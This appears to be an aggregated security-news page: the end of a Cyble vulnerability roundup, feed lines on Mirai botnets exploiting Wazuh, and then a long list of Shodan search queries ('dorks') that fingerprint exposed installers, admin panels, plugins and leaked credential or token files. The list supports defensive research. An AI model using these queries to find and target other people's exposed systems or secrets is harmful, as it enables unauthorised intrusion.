Critical vulnerabilities were also identified in EV charging platforms such as IGL-Technologies eParking.fi and CTEK Chargeportal.  

These flaws allow: 

• Unauthorized administrative access  

• Service disruption  

• Large-scale denial-of-service attacks  

The global deployment of EV infrastructure significantly amplifies the risk of coordinated attacks across energy and transportation ecosystems. 

Impacted Critical Infrastructure Sectors 

Analysis of ICS vulnerabilities shows a significant concentration in: 

• Energy infrastructure  

• Transportation systems  

• Industrial automation  

The increasing overlap between these sectors—particularly in EV ecosystems—creates interdependent risk, where a compromise in one domain can cascade into others.  

Conclusion 

This week’s findings highlight a convergence of: 

• Rapid vulnerability disclosure cycles  

• Active exploitation confirmed through KEV additions  

• Growing attack surface in AI and cloud-native environments  

• Deep-rooted security weaknesses in industrial systems  

With 222 publicly available PoCs, active underground discussions, and widespread ICS exposure, organizations face heightened risk across both IT and OT environments.  

Key Recommendations 

• Prioritize vulnerabilities based on exploit availability and severity  

• Secure AI frameworks and development pipelines  

• Harden Kubernetes and cloud-native environments  

• Implement strong authentication and access controls  

• Segment IT and OT networks to limit lateral movement  

• Address legacy vulnerabilities in ICS environments  

• Monitor underground forums and threat intelligence sources  

• Conduct continuous vulnerability assessments and penetration testing  

Cyble’s attack surface management and vulnerability intelligence solutions backed by its AI native platform, enable organizations to identify exposed assets, prioritize remediation, and detect early indicators of compromise. By integrating threat intelligence with proactive security strategies, organizations can effectively defend against evolving threats across enterprise and critical infrastructure environments. 

Book your demo to experience Cyble’s AI native platform now! 

The post The Week in Vulnerabilities: AI Frameworks, VMware, and Critical ICS Exposure appeared first on Cyble.

Dieser Beitrag Proaktive Schwachstellenverwaltung mit Wazuh: Ein neuer Ansatz erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Tags: #Botnet | #Schwachstelle

The post Week in review: Microsoft fixes exploited zero-day, Mirai botnets target unpatched Wazuh servers appeared first on Help Net Security.

Tags: #Botnet | #Mirai | #Schwachstelle | #Sicherheitslücke

CISA has added two new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation. 

Cybercriminals are trying to spread multiple Mirai variants by exploiting a critical Wazuh vulnerability, researchers say – the first reported active attacks since the code execution bug was disclosed.…

The post Unpatched Wazuh servers targeted by Mirai botnets (CVE-2025-24016) appeared first on Help Net Security.

The post Exploitation of Critical Wazuh Server RCE Vulnerability Leads to Mirai Variant Deployment appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post Mirai Botnets Exploiting Wazuh Security Platform Vulnerability  appeared first on SecurityWeek.

This GitHub repository provides a range of search queries, known as "dorks," for Shodan, a powerful tool used to search for Internet-connected devices. The dorks are designed to help security researchers discover potential vulnerabilities and configuration issues in various types of devices such as webcams, routers, and servers. This resource is helpful for those interested in exploring network security and conducting vulnerability scanning, including both beginners and experienced information security professionals. By leveraging this repository, users can improve the security of their own networks and protect against potential attacks.

Shodan Dorks:

aa3939fc357723135870d5036b12a67097b03309
app="HIKVISION-综合安防管理平台"
"AppleHttpServer"
"AutobahnPython"
basic realm="Kettle"
Bullwark
cassandra
Chromecast
"ClickShareSession"
"/config/log_off_page.htm"
'"connection: upgrade"'
"cowboy"
cpe:"cpe:2.3:a:apache:cassandra"
cpe:"cpe:2.3:a:backdropcms:backdrop"
cpe:"cpe:2.3:a:bolt:bolt"
cpe:"cpe:2.3:a:cisco:sd-wan"
cpe:"cpe:2.3:a:ckeditor:ckeditor"
cpe:"cpe:2.3:a:cmsimple:cmsimple"
cpe:"cpe:2.3:a:djangoproject:django"
cpe:"cpe:2.3:a:djangoproject:django" || http.title:"Django administration"
cpe:"cpe:2.3:a:eclipse:jetty"
cpe:"cpe:2.3:a:embedthis:appweb"
cpe:"cpe:2.3:a:embedthis:goahead"
cpe:"cpe:2.3:a:exim:exim"
cpe:"cpe:2.3:a:gitlist:gitlist"
cpe:"cpe:2.3:a:google:web_server"
cpe:"cpe:2.3:a:jfrog:artifactory"
cpe:"cpe:2.3:a:kentico:kentico"
cpe:"cpe:2.3:a:koha:koha"
cpe:"cpe:2.3:a:konghq:docker-kong"
cpe:"cpe:2.3:a:laurent_destailleur:awstats"
cpe:"cpe:2.3:a:lighttpd:lighttpd"
cpe:"cpe:2.3:a:microsoft:internet_information_server"
cpe:"cpe:2.3:a:modx:modx_revolution"
cpe:"cpe:2.3:a:nodebb:nodebb"
cpe:"cpe:2.3:a:nodejs:node.js"
cpe:"cpe:2.3:a:openvpn:openvpn_access_server"
cpe:"cpe:2.3:a:openwebanalytics:open_web_analytics"
cpe:"cpe:2.3:a:oracle:glassfish_server"
cpe:"cpe:2.3:a:oracle:iplanet_web_server"
cpe:"cpe:2.3:a:php:php"
cpe:"cpe:2.3:a:prestashop:prestashop"
cpe:"cpe:2.3:a:proftpd:proftpd"
cpe:"cpe:2.3:a:public_knowledge_project:open_journal_systems"
cpe:"cpe:2.3:a:pulsesecure:pulse_connect_secure"
cpe:"cpe:2.3:a:rubyonrails:rails"
cpe:"cpe:2.3:a:sensiolabs:symfony"
cpe:"cpe:2.3:a:typo3:typo3"
cpe:"cpe:2.3:a:vmware:rabbitmq"
cpe:"cpe:2.3:a:webedition:webedition_cms"
cpe:"cpe:2.3:a:zend:zend_server"
cpe:"cpe:2.3:h:zte:f460"
cpe:"cpe:2.3:o:canonical:ubuntu_linux"
cpe:"cpe:2.3:o:fedoraproject:fedora"
cpe:"cpe:2.3:o:microsoft:windows"
"DIR-845L"
eBridge_JSessionid
'ecology_JSessionid'
ecology_JSessionid
elastic indices
"ElasticSearch"
ESMTP
/geoserver/
Graylog
'hash:1357418825'
html:"access_tokens.db"
html:"ACE 4710 Device Manager"
html:"ActiveCollab Installer"
html:"Administration - Installation - MantisBT"
html:"Satis"
html:"Akeeba Backup"
html:"Amazon EC2 Status"
html:"anonymous-cli-metrics.json"
html:"ANTEEO"
html:"anyproxy"
html:"Apache Tomcat"
html:"Apdisk"
html:"appveyor.yml"
html:"aquatronica"
html:"Argo CD"
html:"Ariang"
html:"ASPNETCORE_ENVIRONMENT"
html:"atlassian-connect.json"
html:"atomcms"
html:"auth.json"
html:"authorization token is empty"
html:"Avaya Aura"
html:"AVideo"
html:"AWS EC2 Auto Scaling Lab"
html:"azure-pipelines.yml"
html:"babel.config.js"
html:"behat.yml"
html:"BeyondTrust"
html:"BIG-IP APM"
html:"BIG-IP Configuration Utility"
html:"bitbucket-pipelines.yml"
"html:\"/bitrix/\""
html:"blazor.boot.json"
html:"Blesta installer"
html:"blob.core.windows.net"
html:"buildAssetsDir" "nuxt"
html:"Calibre"
html:"camaleon_cms"
html:"Cargo.lock"
html:"Cargo.toml"
html:"CasaOS"
html:"Cassia Bluetooth Gateway Management Platform"
html:"/certenroll"
html:"/cfadmin/img/"
html:"Change Detection"
html:"Cisco Expressway"
html:"cisco firepower management"
html:"Cisco Unity Connection"
html:"/citrix/xenapp"
html:"ckan 2.8.2" || html:"ckan 2.3"
html:"cloud-config.yml"
html:"CMS Made Simple Install/Upgrade"
html:"codeception.yml"
html:"CodeMeter"
html:"CodiMD"
html:"config.rb"
html:"config.ru"
html:'content="eArcu'
html:"content="Navidrome""
html:"ContentPanel SetupWizard"
html:"contexts known to this"
html:"Coolify" html:"register"
html:"Couchbase Sync Gateway"
html:"Cox Business"
html:"credentials.db"
html:"Crontab UI"
html:"CrushFTP"
html:"cyberpanel"
html:"CyberPanel"
html:"DashRenderer"
html:"Dataease"
html:"data-xwiki-reference"
"html=\"Decision Center Enterprise console\""
html:"Decision Center Enterprise console"
html:"DefectDojo Logo"
html:"def_wirelesspassword"
html:"Dell OpenManage Switch Administrator"
'html:"desktop.ini"'
html:"DSR-250"
html:"DXR.axd"
html:"Easy Installer by ViserLab"
html:"editorconfig"
html:"EJBCA Enterprise Cloud Configuration Wizard"
html:"engage - Portail soignant"
html:"epihash"
html:"eShop Installer"
html:"ETL3100"
html:"FacturaScripts installer"
html:"faradayApp"
html:"Femtocell Access Point"
html:"FileCatalyst file transfer solution"
html:"FleetCart"
html:"FleetCart - Installation"
html:"Forgejo"
html:"FortiPortal"
html:"F-Secure Policy Manager"
html:ftpconfig
html:"ganglia_form.submit()"
html:"Generated by The Webalizer"
html:"GeniusOcean Installer"
html:"gitlab-ci.yml"
html:"GitLab Enterprise Edition"
html:"git web interface version"
html:"go.mod"
html:"gradio_mode"
html:"Guardfile"
html:"HAL Management Console"
html:"hgignore"
html:"Home - CUPS"
html:"HomeWorks Illumination Web Keypad"
html:"Honeywell Building Control"
html:"https://hugegraph.github.io"
html:"human.aspx"
html:"ibmdojo"
html:"iClock Automatic"
html:"IDP Skills Installer"
html:"imgproxy"
html:"Installation" html:"itop"
html:"Installation Panel"
html:"Installer - GROWI"
html:"Install Flarum"
html:"Install - StackPosts"
html:"Install the script - JustFans"
html:"instance_metadata"
html:"Invicti Enterprise - Installation Wizard"
html:"Invoice Ninja Setup"
html:"JBossWS"
html:"JK Status Manager"
html:"jsconfig.json"
html:"jwks.json"
html:"karma.conf.js"
html:"Kemp Login Screen"
html:"LANCOM Systems GmbH"
html:"Laragon" html:"phpinfo"
html:"lesshst"
html:"LibreNMS Install"
html:"Limesurvey Installer"
html:"LMSZAI - Learning Management System"
html:"LoadMaster"
html:"Locklizard Web Viewer"
html:"Login - Jorani"
html:"Login - Netflow Analyzer"
html:"Login | Splunk"
html:"Logon Error Message"
html:"logstash"
"html:\"Lucee\""
html:"Lychee-installer"
html:"Magento Installation"
html:"Magnolia is a registered trademark"
html:mailmap
html:"manifest.json"
html:"MasterSAM"
html:"Mautic Installation"
html:"mempool-space" || title:"Signet Explorer"
html:"Mercurial repositories index"
html:"mongod"
html:"mooSocial Installation"
html:"mysql_history"
html:"/_next/static"
html:"NGINX+ Dashboard"
html:"Nginx Proxy Manager"
html:"nginxWebUI"
html:"ng-version="
html:"nopCommerce Installation"
html:"npm-debug.log"
html:"npm-shrinkwrap.json"
html:"Ocp-Apim-Subscription-Key"
html:"omniapp"
html:"onedev.io"
html:"Open Journal Systems"
html:"Orbit Telephone System"
html:"Orchard Setup - Get Started"
html:"osCommerce"
html:"OWA CONFIG SETTINGS"
html:"owncast"
html:"packages.config"
html:"parameters.yml"
html:"PDI Intellifuel"
html:"phinx.yml"
html:"php_cs.cache"
html:"phpcs.xml"
html:"phpdebugbar"
html:"/phpgedview.db"
html:"phpipam installation wizard"
html:"phpIPAM IP address management"
html:"PHPJabbers"
html:"phpLDAPadmin"
html:"phplist"
html:"phpspec.yml"
html:"phpstan.neon"
html:"phpSysInfo"
html:"pipeline.yaml"
html:"Pipfile"
html:"Piwigo" html:"- Installation"
html:"Plausible"
html:"pnpm-lock.yaml"
html:"polyfill.io"
html:"Portal Setup"
html:"PowerChute Network Shutdown"
html:"Powered by Gitea"
"html:\"PowerShell Universal\""
html:"private gpt"
html:"Procfile"
html:"/productsalert"
html:"ProfitTrailer Setup"
html:"ProjectSend"
html:"ProjectSend setup"
html:"protractor.conf.js"
html:"Provide a link that opens Word"
html:"psalm.xml"
html:"pubspec.yaml"
html:"pyload"
html:"pypiserver"
html:"pyproject.toml"
html:"python_gc_objects_collected_total"
html:"QuickCMS Installation"
html:"QVidium Management"
html:"radarr"
html:"RaidenMAILD"
html:"Rakefile"
html:"readarr"
html:"README.MD"
html:"Redash Initial Setup"
html:"redis.conf"
html:"redis.exceptions.ConnectionError"
html:"request-baskets"
html:"rollup.config.js"
html:"rubocop.yml"
html:"SABnzbd Quick-Start Wizard"
html:"Safeguard for Privileged Passwords"
html:"Saia PCD Web Server"
html:"Salia PLCC"
html:"SAP"
html:"sass-lint.yml"
html:"scrutinizer.yml"
html:"SDT-CW3B1"
html:"searchreplacedb2.php"
html:'Select a frequency for snapshot retention'
html:"sendgrid.env"
html:"Sentinel License Monitor"
html:"server_databases.php"
html:"Serv-U"
html:settings.py
html:"Setup GLPI"
html:"Setup - jfa-go"
html:"sftp.json"
html:"shopping cart program by zen cart"
html:"SimpleHelp"
html:"Sitecore"
html:"Snipe-IT Setup"
html:"sonarr"
html:"Sorry, the requested URL"
html:"stackposts"
html:"Struts Problem Report"
html:"Symmetricom SyncServer"
html:"thisIDRACText"
html:"Tiny File Manager"
html:"Admin Console"
html:"title=\"blue yonder\""
html:'title="Lucy'
html:"PDNU"
html:"prowlarr"
html:"Stash"
html:"Webinterface"
html:"tox.ini"
html:"Traccar"
html:"travis.yml"
"html:\"Trilium Notes\""
html:"TurboMeeting"
html:"/tvcmsblog"
html:"Twig Runtime Error"
html:'Twisted' html:"python"
html:"Ubersmith Setup"
html:"UEditor"
html:"UPS Network Management Card 4"
html:"UrBackup - Keeps your data safe"
html:"/userRpm/"
html:"utnserver Control Center"
html:"UVDesk Helpdesk Community Edition - Installation Wizard"
html:"uwsgi.ini"
html:"Vagrantfile"
html:"Veeam Backup"
html:"Veritas NetBackup OpsCenter Analytics"
html:"Versa Networks"
html:"Viminfo"
html:"VinChin"
html:"Virtual SmartZone"
html:"vite.config.js"
html:"vmw_nsx_logo-black-triangle-500w.png"
html:"voyager-assets"
html:"/vsaas/v2/static/"
html:"/waroot/style.css"
html:"webpack.config.js"
html:"webpackJsonpzipkin-lens"
html:"webpack.mix.js"
"html:\"welcome.cgi?p=logo\""
html:"Welcome to CakePHP"
html:"Welcome to Espocrm"
html:"Welcome to Express"
html:"Welcome to Nginx"
html:"Welcome to Openfire Setup"
html:"Welcome to Progress Application Server for OpenEdge"
html:"Welcome to the Ruckus"
html:"Welcome to Vtiger CRM"
html:"Welcome to your Strapi app"
html:"Welcome to your Strapi app" html:"create an administrator"
html:"Werkzeug powered traceback interpreter"
html:".wget-hsts"
html:".wgetrc"
html:"WhatsUp Gold"
html:"Whisparr"
html:"Whitelabel Error Page"
html:"window.nps"
html:"WN530HG4"
html:"WN531G3"
html:"WN533A8"
html:"wpad.dat"
html:"wp-cli.yml"
html:"/wp-content/plugins/flexmls-idx"
html:"/wp-content/plugins/learnpress"
html:"/wp-content/plugins/really-simple-ssl"
html:"/wp-content/plugins/tutor/"
html:"Writebook"
html:"XBackBone Installer"
html:"/xipblog"
html:XploitSPY
html:"yii\base\ErrorException"
html:"Your Azure Function App is up and running"
html:"Zebra Technologies"
html:"zzcms"
html:"ZzzCMS"
'HTTP/1.0 401 Please Authenticate\r\nWWW-Authenticate: Basic realm="Please Login"'
http.component:"Adobe ColdFusion"
http.component:"Adobe Experience Manager"
http.component:"atlassian confluence"
http.component:"Atlassian Confluence"
http.component:"atlassian jira"
http.component:"Atlassian Jira"
http.component:"Bitbucket"
http.component:"BitBucket"
http.component:"drupal"
http.component:"Drupal"
http.component:"Dynamicweb"
http.component:"ghost"
http.component:"Joomla"
http.component:"magento"
http.component:"Magento"
http.component:"October CMS"
"http.component:\"prestashop\""
http.component:"prestashop"
http.component:"Prestashop"
http.component:"PrestaShop"
http.component:"RoundCube"
http.component:"Subrion"
http.component:"TeamCity"
http.component:"TYPO3"
http.component:"vBulletin"
http.component:zk http.title:"Server Backup Manager"
http.favicon.hash:-1005691603
http.favicon.hash:1011076161
http.favicon.hash:-1013024216
http.favicon.hash:1017650009
http.favicon.hash:1052926265
http.favicon.hash:106844876
http.favicon.hash:-1074357885
http.favicon.hash:1090061843
http.favicon.hash:1099097618
http.favicon.hash:1099370896
http.favicon.hash:-1101206929
http.favicon.hash:"-1105083093"
http.favicon.hash:-1117549627
http.favicon.hash:-1127895693
http.favicon.hash:"-1148190371"
http.favicon.hash:115295460
http.favicon.hash:116323821
http.favicon.hash:11794165
http.favicon.hash:-1197926023
http.favicon.hash:1198579728
http.favicon.hash:1199592666
http.favicon.hash:1212523028
http.favicon.hash:-1215318992
"http.favicon.hash:-121681558"
http.favicon.hash:-121681558
http.favicon.hash:"-1217039701"
http.favicon.hash:-1224668706
http.favicon.hash:-1247684400
http.favicon.hash:1249285083
http.favicon.hash:-1250474341
http.favicon.hash:-1258058404
http.favicon.hash:-1261322577
http.favicon.hash:1262005940
http.favicon.hash:-1264095219
http.favicon.hash:-1292923998,-1166125415
http.favicon.hash:-1295577382
http.favicon.hash:-1298131932
http.favicon.hash:-130447705
http.favicon.hash:1337147129
"http.favicon.hash:-1341442175"
http.favicon.hash:-1343712810
http.favicon.hash:-1350437236
http.favicon.hash:1354079303
http.favicon.hash:1357234275
http.favicon.hash:-1373456171
http.favicon.hash:-1379982221
http.favicon.hash:"1380908726"
http.favicon.hash:1380908726
http.favicon.hash:-1381126564
http.favicon.hash:-1383463717
http.favicon.hash:1386054408
http.favicon.hash:1398055326
http.favicon.hash:1410071322
http.favicon.hash:-1414548363
http.favicon.hash:-1416464161
http.favicon.hash:1460499495
http.favicon.hash:1464851260
http.favicon.hash:-1465760059
http.favicon.hash:-1478287554
http.favicon.hash:-1495233116
http.favicon.hash:-1496590341
http.favicon.hash:1499876150
http.favicon.hash:-1499940355
http.favicon.hash:-1529860313
http.favicon.hash:1540720428
http.favicon.hash:-1548359600
http.favicon.hash:1550906681
http.favicon.hash:1552322396
http.favicon.hash:-1575154882
http.favicon.hash:-1595726841
http.favicon.hash:1604363273
http.favicon.hash:1606029165
http.favicon.hash:-1606065523
http.favicon.hash:-1649949475
http.favicon.hash:1653394551
http.favicon.hash:-1653412201
http.favicon.hash:"-165631681"
http.favicon.hash:-1663319756
http.favicon.hash:-1680052984
http.favicon.hash:1691956220
http.favicon.hash:1693580324
http.favicon.hash:"-1706783005"
http.favicon.hash:-1706783005
http.favicon.hash:1749354953
http.favicon.hash:176427349
http.favicon.hash:-178113786
http.favicon.hash:1781653957
http.favicon.hash:-1797138069
http.favicon.hash:1817615343
http.favicon.hash:1828614783
http.favicon.hash:"-1830859634"
http.favicon.hash:-186961397
http.favicon.hash:-1893514038
http.favicon.hash:1895809524
http.favicon.hash:-1898583197
http.favicon.hash:1903390397
http.favicon.hash:-1950415971
http.favicon.hash:-1951475503
http.favicon.hash:1952289652
http.favicon.hash:-1961736892
http.favicon.hash:-1970367401
http.favicon.hash:-2017596142
http.favicon.hash:-2017604252
http.favicon.hash:2019488876
http.favicon.hash:-2028554187
http.favicon.hash:-2032163853
http.favicon.hash:-2051052918
http.favicon.hash:2056442365
"http.favicon.hash:206985584"
http.favicon.hash:-2073748627 || http.favicon.hash:-1721140132
http.favicon.hash:2099342476
http.favicon.hash:2104916232
http.favicon.hash:"-211006074"
http.favicon.hash:-211006074
http.favicon.hash:-2115208104
http.favicon.hash:2124459909
http.favicon.hash:213144638
http.favicon.hash:2134367771
http.favicon.hash:-2144699833
http.favicon.hash:-219625874
"http.favicon.hash:-234335289"
http.favicon.hash:"24048806"
http.favicon.hash:24048806
http.favicon.hash:-244067125
http.favicon.hash:262502857
http.favicon.hash:-266008933
http.favicon.hash:-283003760
http.favicon.hash:-286484075
http.favicon.hash:305412257
http.favicon.hash:321591353
http.favicon.hash:-347188002
http.favicon.hash:362091310
http.favicon.hash:-374133142
http.favicon.hash:-399298961
http.favicon.hash:407286339
http.favicon.hash:-417785140
http.favicon.hash:-418614327
http.favicon.hash:419828698
http.favicon.hash:431627549
http.favicon.hash:-43504595
http.favicon.hash:439373620
http.favicon.hash:440258421
http.favicon.hash:-440644339
http.favicon.hash:450899026
http.favicon.hash:464587962
http.favicon.hash:487145192
http.favicon.hash:-50306417
http.favicon.hash:-516760689
http.favicon.hash:523757057
http.favicon.hash:538583492
http.favicon.hash:540706145
http.favicon.hash:557327884
http.favicon.hash:-578216669
http.favicon.hash:587330928
http.favicon.hash:-594722214
http.favicon.hash:598296063
http.favicon.hash:-601917817
http.favicon.hash:-608690655
http.favicon.hash:-629968763
http.favicon.hash:-633512412
http.favicon.hash:635899646
http.favicon.hash:"-646322113"
http.favicon.hash:-655683626
http.favicon.hash:657337228
http.favicon.hash:662709064
http.favicon.hash:"-670975485"
"http.favicon.hash:-697231354"
http.favicon.hash:698624197
"http.favicon.hash:\"702863115\""
http.favicon.hash:"702863115"
http.favicon.hash:702863115clear
http.favicon.hash:733091897
http.favicon.hash:739801466
http.favicon.hash:-741491222
http.favicon.hash:-749942143
http.favicon.hash:751911084
"http.favicon.hash:762074255"
http.favicon.hash:762074255
http.favicon.hash:781922099
http.favicon.hash:786533217
http.favicon.hash:-800060828
http.favicon.hash:-800551065
http.favicon.hash:"801517258"
http.favicon.hash:-81573405
http.favicon.hash:816588900
http.favicon.hash:824580113
http.favicon.hash:-82958153
http.favicon.hash:-831756631
http.favicon.hash:"-839356603"
http.favicon.hash:-850502287
http.favicon.hash:855432563
"http.favicon.hash:868509217"
http.favicon.hash:"871154672"
http.favicon.hash:873381299
http.favicon.hash:874152924
http.favicon.hash:876876147
http.favicon.hash:889652940
http.favicon.hash:-902890504
http.favicon.hash:-916902413
http.favicon.hash:-919788577
http.favicon.hash:932345713
http.favicon.hash:933976300
http.favicon.hash:942678640
http.favicon.hash:957255151
http.favicon.hash:965982073
http.favicon.hash:967636089
http.favicon.hash:969374472
http.favicon.hash:-976853304
http.favicon.hash:-977323269
http.favicon.hash:981081715
http.favicon.hash:983734701
http.favicon.hash:988422585
http.favicon.hash:989289239
http.favicon.hash:999357577
http.html:"4DACTION/"
http.html:"74cms"
http.html:"academy lms"
http.html:"Ampache Update"
http.html:"Apache Airflow"
http.html:"Apache Axis"
http.html:"Apache Cocoon"
http.html:"Apache OFBiz"
http.html:"Apache Solr"
http.html:"Apache Solr"
http.html:"apollo-adminservice"
http.html:"app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
http.html:"artica"
http.html:".asmx?WSDL"
http.html:"Audiocodes"
http.html:"BeyondInsight"
"http.html:\"BeyondTrust Privileged Remote Access Login\""
http.html:"bigant"
http.html:"BigAnt Admin"
http.html:"/bitrix/"
http.html:"blogengine.net"
http.html:"BMC Remedy"
http.html:"Camunda Welcome"
http.html:"car rental management system"
http.html:"Car Rental Management System"
http.html:"/CasaOS-UI/public/index.html"
http.html:"CCM - Authentication Failure"
http.html:"Check Point Mobile"
http.html:"chronoslogin.js"
http.html:"CMS Quilium"
http.html:"Command API Explorer"
http.html:'content="Redmine'
http.html:'content="Smartstore'
http.html:"corebos"
http.html:"crushftp"
http.html:"CS141"
http.html:"Cvent Inc"
http.html:"CxSASTManagerUri"
http.html:"dataease"
http.html:"DedeCms"
http.html:"Delta Controls ORCAview"
http.html:"Develocity Build Cache Node"
http.html:"DLP system"
http.html:"/dokuwiki/"
http.html:"dotnetcms"
http.html:"Dufs"
http.html:"dzzoffice"
http.html:"E-Mobile"
http.html:"E-Mobile&nbsp"
http.html:EmpireCMS
http.html:"ESP Easy Mega"
http.html:"eZ Publish"
http.html:"Flatpress"
http.html:"Fuji Xerox Co., Ltd"
http.html:"Get_Verify_Info"
http.html:"glpi"
http.html:"Gnuboard"
http.html:"gnuboard5"
http.html:"GoAnywhere Managed File Transfer"
http.html:"Gradle Enterprise Build Cache Node"
http.html:"H3C-SecPath-运维审计系统"
http.html_hash:1015055567
http.html_hash:1076109428
http.html_hash:-14029177
http.html_hash:-1957161625
http.html_hash:510586239
http.html:"HG532e"
http.html:"hospital management system"
http.html:"Hospital Management System"
http.html:'Hugo'
http.html:"Huly"
http.html:"i3geo"
http.html:"IBM WebSphere Portal"
"http.html:\"import-xml-feed\""
http.html:"import-xml-feed"
http.html:"index.createOpenPad"
http.html:"Interactsh Server"
http.html:"IPdiva"
http.html:"iSpy"
http.html:"JamF"
http.html:"Jamf Pro Setup"
http.html:"Jellyfin"
http.html:"JHipster"
http.html:"JupyterHub"
http.html:"kavita"
http.html:"LANDESK(R)"
http.html:"Laravel FileManager"
http.html:"LISTSERV"
http.html:livezilla
http.html:"Login (Virtual Traffic Manager"
http.html:"lookerVersion"
http.html:"magnusbilling"
http.html:"mailhog"
http.html:"/main/login.lua?pageid="
http.html:"metersphere"
http.html:"MiCollab End User Portal"
http.html:"Micro Focus Application Lifecycle Management"
http.html:"Micro Focus iPrint Appliance"
http.html:"Mirantis Kubernetes Engine"
http.html:"Mitel Networks"
http.html:"MobileIron"
http.html:"moodle"
http.html:"multipart/form-data" html:"file"
http.html:"myLittleAdmin"
http.html:"myLittleBackup"
http.html:"NeoboxUI"
http.html:"Network Utility"
http.html:"Nexus Repository Manager"
http.html:'ng-app="syncthing"'
http.html:"Nordex Control"
http.html:"Omnia MPX"
http.html:"OpenCTI"
http.html:"OpenEMR"
http.html:"opennebula"
http.html:"Oracle HTTP Server"
http.html:"Oracle UIX"
"http.html:\"outsystems\""
http.html:"owncloud"
http.html:"PbootCMS"
http.html:"phpMiniAdmin"
http.html:"phpMyAdmin"
http.html:"phpmyfaq"
http.html:/plugins/royal-elementor-addons/
http.html:"power by dedecms" || title:"dedecms"
http.html:"Powerd by AppCMS"
http.html:"powered by CATALOGcreator"
http.html:"powerjob"
http.html:"processwire"
http.html:provided by projectsend
http.html:"pyload"
http.html:"/redfish/v1"
http.html:"redhat" "Satellite"
http.html:"r-seenet"
http.html:rt_title
http.html:"SAP Analytics Cloud"
http.html:"seafile"
http.html:"Semaphore"
http.html:"sharecenter"
http.html:"SLIMS"
http.html:"SolarView Compact"
http.html:"soplanning"
http.html:"SOUND4"
http.html:"study any topic, anytime"
http.html:"sucuri firewall"
http.html:"symfony Profiler"
http.html:"Symfony Profiler"
http.html:"sympa"
http.html:"teampass"
http.html:"Telerik Report Server"
http.html:"Thruk"
http.html:"thruk" || http.title:"thruk monitoring webinterface"
http.html:"TIBCO BusinessConnect"
http.html:"tiki wiki"
http.html:"TLR-2005KSH"
http.html:"totemomail" inurl:responsiveui
http.html:"Umbraco"
http.html:"vaultwarden"
http.html:"Vertex Tax Installer"
http.html:"VMG1312-B10D"
http.html:"VMware Horizon"
http.html:"VSG1432-B101"
http.html:"wavlink"
http.html:"Wavlink"
http.html:"WebADM"
http.html:"Webasyst Installer"
http.html:"WebCenter"
http.html:"Web Image Monitor"
http.html:"Webp"
http.html:"webshell4"
http.html:"Welcome to MapProxy"
http.html:"Welcome to Oracle Fusion Middleware"
http.html:"wiki.js"
http.html:"window.frappe_version"
http.html:/wp-content/plugins/adsense-plugin/
http.html:"/wp-content/plugins/agile-store-locator/"
http.html:wp-content/plugins/ap-pricing-tables-lite
http.html:/wp-content/plugins/autoptimize
http.html:/wp-content/plugins/backup-backup/
http.html:/wp-content/plugins/bws-google-analytics/
http.html:/wp-content/plugins/bws-google-maps/
http.html:/wp-content/plugins/bws-linkedin/
http.html:/wp-content/plugins/bws-pinterest/
http.html:/wp-content/plugins/bws-smtp/
http.html:/wp-content/plugins/bws-testimonials/
http.html:/wp-content/plugins/chaty/
http.html:/wp-content/plugins/cmp-coming-soon-maintenance/
http.html:/wp-content/plugins/companion-sitemap-generator/
http.html:/wp-content/plugins/contact-form-multi/
http.html:/wp-content/plugins/contact-form-plugin/
http.html:/wp-content/plugins/contact-form-to-db/
http.html:/wp-content/plugins/contest-gallery/
http.html:/wp-content/plugins/controlled-admin-access/
http.html:"wp-content/plugins/crypto"
http.html:/wp-content/plugins/cryptocurrency-widgets-pack/
http.html:/wp-content/plugins/custom-admin-page/
http.html:/wp-content/plugins/custom-facebook-feed/
http.html:/wp-content/plugins/custom-search-plugin/
http.html:/wp-content/plugins/defender-security/
http.html:/wp-content/plugins/ditty-news-ticker/
"http.html:\"/wp-content/plugins/download-monitor/\""
http.html:/wp-content/plugins/error-log-viewer/
http.html:"wp-content/plugins/error-log-viewer-wp"
http.html:/wp-content/plugins/essential-blocks/
"http.html:/wp-content/plugins/extensive-vc-addon/"
http.html:/wp-content/plugins/foogallery/
http.html:/wp-content/plugins/forminator
http.html:/wp-content/plugins/g-auto-hyperlink/
http.html:"/wp-content/plugins/gift-voucher/"
http.html:/wp-content/plugins/gtranslate
http.html:"/wp-content/plugins/hostel/"
http.html:/wp-content/plugins/htaccess/
http.html:"wp-content/plugins/hurrakify"
http.html:/wp-content/plugins/learnpress
http.html:/wp-content/plugins/login-as-customer-or-user
http.html:wp-content/plugins/media-library-assistant
http.html:/wp-content/plugins/motopress-hotel-booking
http.html:/wp-content/plugins/mstore-api/
http.html:/wp-content/plugins/newsletter/
http.html:/wp-content/plugins/nex-forms-express-wp-form-builder/
http.html:"/wp-content/plugins/ninja-forms/"
http.html:/wp-content/plugins/ninja-forms/
http.html:/wp-content/plugins/pagination/
http.html:/wp-content/plugins/paid-memberships-pro/
http.html:/wp-content/plugins/pdf-generator-for-wp
http.html:/wp-content/plugins/pdf-print/
http.html:/wp-content/plugins/photoblocks-grid-gallery/
http.html:/wp-content/plugins/photo-gallery
http.html:/wp-content/plugins/polls-widget/
http.html:/wp-content/plugins/popup-builder/
http.html:/wp-content/plugins/popup-by-supsystic
http.html:/wp-content/plugins/popup-maker/
http.html:/wp-content/plugins/post-smtp
http.html:/wp-content/plugins/prismatic
http.html:/wp-content/plugins/promobar/
http.html:/wp-content/plugins/qt-kentharadio
http.html:/wp-content/plugins/quick-event-manager
http.html:"/wp-content/plugins/radio-player"
http.html:/wp-content/plugins/rating-bws/
http.html:/wp-content/plugins/realty/
http.html:/wp-content/plugins/registrations-for-the-events-calendar/
http.html:/wp-content/plugins/searchwp-live-ajax-search/
http.html:/wp-content/plugins/sender/
http.html:/wp-content/plugins/sfwd-lms
http.html:/wp-content/plugins/shortpixel-adaptive-images/
http.html:/wp-content/plugins/show-all-comments-in-one-page
http.html:/wp-content/plugins/site-offline/
http.html:/wp-content/plugins/social-buttons-pack/
http.html:/wp-content/plugins/social-login-bws/
http.html:/wp-content/plugins/stock-ticker/
http.html:/wp-content/plugins/subscriber/
http.html:/wp-content/plugins/super-socializer/
http.html:/wp-content/plugins/tutor/
http.html:/wp-content/plugins/twitter-plugin/
http.html:/wp-content/plugins/ubigeo-peru/
http.html:/wp-content/plugins/ultimate-member
http.html:/wp-content/plugins/updater/
"http.html:/wp-content/plugins/user-meta/"
